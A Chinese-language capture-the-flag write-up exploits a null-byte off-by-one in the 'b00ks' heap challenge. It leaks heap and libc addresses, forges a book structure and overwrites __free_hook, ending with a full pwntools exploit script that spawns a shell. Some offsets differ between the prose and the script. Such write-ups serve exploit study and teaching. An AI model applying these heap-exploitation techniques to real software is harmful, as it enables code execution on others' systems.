offbyone-学习

14次阅读

共计 6240 个字符,预计需要花费 16 分钟才能阅读完成。

题目介绍

题目是一个常见的菜单式程序,功能是一个图书管理系统。

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit

题目提供了创建、删除、编辑、打印图书的功能。题目是 64 位程序,保护如下所示

Canary                        : No
NX                            : Yes
PIE                           : Yes
Fortify                       : No
RelRO                         : Full

程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息

struct book
{
    int id;
    char *name;
    char *description;
    int size;
}

create

book 结构中存在 name 和 description,name 和 description 在堆上分配。首先分配 name buffer,使用 malloc。大小自定但小于 32.

printf("\nEnter book name size:", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);
printf("Enter book name (Max 32 chars):", &size);
ptr = malloc(size);

之后分配 description,同样大小自定但无限制。

printf("\nEnter book description size:", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);

v5 = malloc(size);

之后分配 book 结构的内存

book = malloc(0x20uLL);
if (book)
{*((_DWORD *)book + 6) = size;
    *((_QWORD *)off_202010 + v2) = book;
    *((_QWORD *)book + 2) = description;
    *((_QWORD *)book + 1) = name;
    *(_DWORD *)book = ++unk_202024;
    return 0LL;
}

漏洞

程序编写的 read 函数存在 null byte off-by-one 漏洞,仔细观察这个 read 函数可以发现对于边界的考虑是不当的。

signed __int64 __fastcall my_read(_BYTE *ptr, int number)
{int i; // [rsp+14h] [rbp-Ch]
  _BYTE *buf; // [rsp+18h] [rbp-8h]

  if (number <= 0)
    return 0LL;
  buf = ptr;
  for (i = 0; ; ++i)
  {if ( (unsigned int)read(0, buf, 1uLL) != 1 )
      return 1LL;
    if (*buf == '\n')
      break;
    ++buf;
    if (i == number)
      break;
  }
  *buf = 0; --》漏洞位置
  return 0LL;
}

利用

创建两个 b00k, 在first b00k 中伪造 b00k 进而控制 second b00kdescription指针, 将该指针改为 __free_hook, 修改second b00kdescriptionexecve("/bin/sh"), 最后free

泄露

因为程序中的 my_read 函数存在 null byte off-by-one,事实上 my_read 读入的结束符 ‘x00’ 是写入到 0x555555756060 的位置的。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 ‘x00’,所以这里是存在一个地址泄漏的漏洞。通过打印 author name 就可以获得 pointer array 中第一项的值。

books 位置

        0x55865b7c9040:    0x4141414141414141    0x4141414141414141
        0x55865b7c9050:    0x4141414141414141    0x4141414141414141 --> author
b00ks<--0x55865b7c9060:    0x000055865cc0d160(first book)    0x0000000000000000

null byte overflow

0x55865b7c9040:    0x4141414141414141    0x4141414141414141
0x55865b7c9050:    0x4141414141414141    0x4141414141414141
0x55865b7c9060:    0x000055865cc0d100(0x60-->0x00)    0x000055865cc0d190

1. 创建第一个 firest book

0x55f276c74160:    0x0000000000000001                 0x000055f276c74020--> Name
0x55f276c74170:    0x000055f276c740c0(description)    0x000000000000008c(140)

0x55f276c74160 --> 0x55f276c74100 时, 0x55f276c74100正好落在 first b00kdescription中, 属于可控范围, 为我们伪造 b00k 打下了基础.

2. leak book1 addr

my_read 读入的结束符 ‘x00’ 会被写如 book1 时覆盖

所以 print author name 时 会泄露 book1 在 buf 的地址

3. 申请 book2

book2 的 description 的大小越大越好 (如 0x21000),这样会通过 mmap() 函数去分配堆空间,而该堆地址与 libc 的基址相关,这样通过泄露该堆地址可以计算出 libc 的基址。

4. 伪造 book

0x55f276c740c0:    0x4141414141414141    0x4141414141414141
0x55f276c740d0:    0x4141414141414141    0x4141414141414141
0x55f276c740e0:    0x4141414141414141    0x4141414141414141
0x55f276c740f0:    0x4141414141414141    0x4141414141414141
0x55f276c74100:    0x0000000000000001    0x000055f276c74198----
0x55f276c74110:    0x000055f276c74198    0x000000000000ffff   |
......                                                   |
0x55f276c74160:    0x0000000000000001    0x000055f276c74020   |
0x55f276c74170:    0x000055f276c740c0    0x000000000000008c   |
0x55f276c74180:    0x0000000000000000    0x0000000000000031   |
0x55f276c74190:    0x0000000000000002    0x00007f282b8e7010 <-|
0x55f276c741a0:    0x00007f282b8c5010    0x0000000000021000
0x55f276c741b0:    0x0000000000000000    0x0000000000020e51

可以看到 0x55f276c74100 已经是fake b00k1

5. 空字节覆盖 leak book2 name pointer&libcbase

0x55f275d55040:    0x4141414141414141    0x4141414141414141
0x55f275d55050:    0x4141414141414141    0x4141414141414141
0x55f275d55060:    0x000055f276c74100    0x000055f276c74190

泄露的是 second b00kname pointerdescription pointer.
这个指针和 libc base address 是有直接联系的.

0x000055f276c73000 0x000055f276c95000 rw-p    [heap]
0x00007f282b33e000 0x00007f282b4fe000 r-xp    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f282b4fe000 0x00007f282b6fe000 ---p    /lib/x86_64-linux-gnu/libc-2.23.so

offset = 0x7f282b8e7010 - 0x00007f282b33e000 = 0x5a9010
结论: 通过伪造的b00k, 我们泄露了 libc base address.

**6. 获取相关指针

主要是两个

malloc_hook = libc.symbols['__free_hook'] + libcbase
execve_addr = libcbase + 0x4526a

结论: 通过 libc base address, 退出了__free_hookexecve_addr在程序中的实际位置.

7. 修改 get shell

通过 first b00k 修改 second b00kdescription指针为__free_hook, 在修改 second b00k 的 description 内容为execve("/bin/sh", null, environ), 最后执行free

0x55f276c74190:    0x0000000000000002    0x00007f282b7047a8 --
0x55f276c741a0:    0x00007f282b7047a8    0x0000000000021000  |
......                                                  |
0x7f282b7047a8 <__free_hook>:  0x00007f306ff4726a    0x0000000000000000

结论: 由于 __free_hook 里面的内容不为NULL, 遂执行内容指向的指令, 即execve("/bin/sh", null, environ)

相关问题解答

为什么第二个 b00k 申请的空间那么大?

​ If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment
简单的说, 申请小了不能够泄露出libc base address

exp

from pwn import *
#context.log_level = 'debug'
elf = ELF("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./b00ks")

def create_name(name):
    p.sendlineafter("Enter author name:", name)

def create_book(size,name,des_size,des):
    p.sendlineafter(">","1")
    p.sendlineafter("\nEnter book name size:",str(size))
    p.sendlineafter("Enter book name (Max 32 chars):",name)
    p.sendlineafter("\nEnter book description size:", str(des_size))
    p.sendlineafter("Enter book description:", des)

def delete_book(id):
    p.sendlineafter(">", "2")
    p.sendlineafter("Enter the book id you want to delete:", str(id))

def edit_book(id,new_des):
    p.sendlineafter(">","3")
    p.sendlineafter("Enter the book id you want to edit:", str(id))
    p.sendlineafter("Enter new book description:", new_des)

def memleak2():
    p.sendlineafter(">","4")
    p.recvuntil("Name:")
    msg=p.recvline().strip("\n")
    msg=u64(msg.ljust(8, "\x00"))
    log.success("Leaked address of second book name pointer :" + hex(msg))
    return msg

def change_name(name):
    p.sendlineafter(">","5")
    p.sendlineafter("Enter author name:", name)
def memleak1():
    p.recvuntil(">")
    p.sendline("4")
    p.recvuntil("Author:")
    msg = p.recvuntil("\n",drop=True)[33:]
    log.success("msg :"+msg)
    addr = u64(msg.ljust(8, "\x00"))
    log.success("Leaked address of first book :" + hex(addr))
    return addr
create_name("a"*32)
create_book(140,"a",140,"a")
#leak book addr
first_addr = memleak1()
second_addr = first_addr + 0x38
log.success("second addr :" + hex(second_addr))

#create second book
create_book(0x21000,"a",0x21000,"a")

#fake first book
payload = "a"*0x40 + p64(1) + p64(second_addr)*2 + p64(0xffff)
edit_book(1,payload)

#null byte off-by-one
change_name("a"*32)

#leak second book pointer
sec_name_addr = memleak2()

libcbase = sec_name_addr - 0x5b0010
log.info("libcbase: %s" % hex(libcbase))
free_hook = libc.symbols['__free_hook'] + libcbase
log.success("free_hook :" + hex(free_hook))
execve_addr = libcbase + 0x45216
log.success("execve :" + hex(execve_addr))
#gdb.attach(p)
# getshell
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
payload = p64(binsh_addr) + p64(free_hook)
edit_book(1, payload)
payload = p64(system)
edit_book(2, payload)
'''
edit_book(1,p64(free_hook)*2)
edit_book(2,p64(execve_addr))
'''
delete_book(2)
p.interactive()

正文完
 0